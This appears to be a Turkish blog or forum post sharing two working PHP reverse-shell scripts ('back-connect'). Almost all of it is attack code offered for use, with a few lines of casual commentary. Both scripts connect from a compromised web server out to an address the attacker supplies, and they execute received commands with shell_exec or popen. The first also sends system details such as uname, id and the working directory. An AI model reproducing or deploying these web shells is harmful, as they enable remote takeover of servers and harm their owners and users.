back-connect.php
PHP Code :
Bu 1 nevin BarLasTurk-un soyledigi gibi Reverse PHP Shell. Bununla Dene bence olmazsa soyle
))))
Ve kicik 1 $sock=$_GET[`sock`] Alici :
PHP Code :
Socket almak icin kullana bilirsin.
PHP Code :
Kod:
<?php /********************* @@author : Kumaran @@facebook : facebook.com/hackersgrp @@Email : mail4hackersgrp@gmail.com ********************/ ini_set ( 'max_execution_time' , 0 ) ; ?> <html> <head> <title>Back Connect Shell -- PHP</title> </head> <body> <h1>Welcome to Back Connect Control Panel </h1> <p> Fill in the form Below to Start the Back Connect Service </p> <?php if ( isset ( $_GET [ 'port' ] ) && isset ( $_GET [ 'ip' ] ) && $_GET [ 'port' ] != "" && $_GET [ 'ip' ] != "" ) { echo "<p>The Program is now trying to connect!</p>" ; $ip = $_GET [ 'ip' ] ; $port = $_GET [ 'port' ] ; $sockfd = fsockopen ( $ip , $port , $errno , $errstr ) ; if ( $errno != 0 ) { echo "<font color='red'><b>$errno</b> : $errstr</font>" ; } else if ( ! $sockfd ) { $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>" ; } else { fputs ( $sockfd , " \n ================================================================= \n Back Connect in PHP \n Coded by kumaran \n @@author : kumaran @@facebook : facebook.com/hackersgrp @@Email : mail4hackersgrp@gmail.com \n =================================================================" ) ; $pwd = shell_exec ( "pwd" ) ; $sysinfo = shell_exec ( "uname -a" ) ; $id = shell_exec ( "id" ) ; $dateAndTime = shell_exec ( "time /t & date /T" ) ; $len = 1337 ; fputs ( $sockfd , $sysinfo . " \n " ) ; fputs ( $sockfd , $pwd . " \n " ) ; fputs ( $sockfd , $id . " \n \n " ) ; fputs ( $sockfd , $dateAndTime . " \n \n " ) ; while ( ! feof ( $sockfd ) ) { $cmdPrompt = "(Shell)[$]>" ; fputs ( $sockfd , $cmdPrompt ) ; $command = fgets ( $sockfd , $len ) ; fputs ( $sockfd , " \n " . shell_exec ( $command ) . " \n \n " ) ; } fclose ( $sockfd ) ; } } else { ?> <table align= "center" > <form method= "GET" > <td> <table style= "border-spacing: 6px;" > <tr> <td>Port</td> <td> <input style= "width: 200px;" name= "port" value= "31337" /> </td> </tr> <tr> <td>IP </td> <td><input style= "width: 100px;" name= "ip" size= '5' value= "127.0.0.1" /> </tr> <tr> <td> <input style= "width: 90px;" class = "own" type= "submit" value= "Connect back:D!" /> </td> </tr> </table> </td> </form> </tr> </table> <p align= "center" style= "color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p> <?php } ?>

Ve kicik 1 $sock=$_GET[`sock`] Alici :
PHP Code :
Kod:
# <?php # // Gets 'addr' add 'port' parameters via GET or POST # $addr=$_REQUEST['addr']; # $port=$_REQUEST['port']; # # // Open a socket on addr:port # if (!($sock=fsockopen($addr,$port))) # die; # # // While th socket has somethong to say... # while (!feof($sock)) { # // Read the command # $cmd = fgets($sock); # # // Execute the command, sending its output on a pipe # $pipe = popen($cmd,'r'); # # while (!feof($pipe)) # fwrite ($sock, fgets($pipe)); # # // Close the pipe # pclose($pipe); # } # # fclose($sock); # ?>
Hiç yorum yok:
Yorum Gönder